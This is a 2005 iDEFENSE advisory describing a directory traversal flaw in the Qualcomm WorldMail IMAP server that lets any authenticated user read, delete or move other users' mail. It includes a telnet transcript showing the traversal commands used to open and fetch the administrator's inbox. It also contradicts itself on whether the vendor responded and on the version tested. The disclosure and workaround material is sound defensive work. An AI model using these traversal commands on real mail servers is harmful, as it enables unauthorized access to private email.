Qualcomm WorldMail IMAP Server Directory Traversal Vulnerability iDEFENSE Security Advisory 11.17.05 www.idefense.com/application/poi/display?id=341&type=vulnerabilities November 17, 2005 I. BACKGROUND Qualcomm WorldMail is an email and messaging server designed for use in small to large enterprises that supports IMAP, POP3, SMTP, and web mail features. More information can be found on the vendors site: http://www.eudora.com/worldmail/ II. DESCRIPTION Remote exploitation of a directory transversal vulnerability in Qualcomm WorldMail IMAP Server allows attackers to read any email stored on the system. The IMAP protocol supports the use of multiple folders and contains commands with allow users to specify specific paths. Qualcomm WorldMail server allows multiple commands to specify folders outside of the current user's mailbox. Attackers can leverage this vulnerability to view and manage any other user's email messages stored on the system. Attackers also have the ability to move any arbitrary folder on the system. Exploitation is trivial and can be done with a simple telnet client. Below is an example transaction highlighting the attack: ----------------------------------- c:> telnet 192.168.0.109 143 * OK WorldMail IMAP4 Server 6.1.19.0 ready 1 login user1 user1 1 OK LOGIN completed 2 select /inbox * 0 EXISTS * OK [UNSEEN 0] 2 OK [READ-WRITE] opened /inbox 2 select ./../../administrator/inbox * 1 EXISTS * OK [UNSEEN 1] Message 1 is first unseen 2 OK [READ-WRITE] opened ./../../administrator/inbox 2 fetch 1 (RFC822.TEXT) * 1 FETCH (RFC822.TEXT {131} this message was sent to administrator ------------------------------------ III. ANALYSIS Successful exploitation of this vulnerability allows attackers to view and delete mail from any user on the system. Attackers may also be able to affect system stability with the ability to move arbitrary folders on the affected system. This is a post authentication exploit. In order to exploit this vulnerability an attacker would need a valid login to the email server and the IMAP module would have to be enabled (default). IV. DETECTION This exploit was tested against Qualcomm Worldmail server version 3.0. Other versions may be vulnerable. V. WORKAROUND As the affected commands cannot be disabled, it is important that only trusted users be allowed to access the vulnerable mail server. Exploitation of this vulnerability can only be done after a user is authenticated to the mail server. Therefore, it is recommended that login credentials be reviewed to ensure that only trusted users have access. WorldMail also supports POP access to email. If disabling the IMAP service completly is an option, this will also prevent exploitation of the vulnerability. VI. VENDOR RESPONSE Multiple attempts have been made to inform the vendor of this vulnerability but to date a response has not yet been received. VII. CVE INFORMATION The Common Vulnerabilities and Exposures (CVE) project has assigned the name CAN-2005-3189 to this issue. This is a candidate for inclusion in the CVE list (http://cve.mitre.org), which standardizes names for security problems. VIII. DISCLOSURE TIMELINE 10/12/2005 Initial vendor notification 10/27/2005 Initial vendor response 11/17/2005 Public disclosure IX. CREDIT The vulnerability was discovered by FistFuXXer. Get paid for vulnerability research http://www.idefense.com/poi/teams/vcp.jsp Free tools, research and upcoming events http://labs.idefense.com X. LEGAL NOTICES Copyright © 2005 iDEFENSE, Inc. Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without the express written consent of iDEFENSE. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please email customerservice (at) idefense (dot) com [email concealed] for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.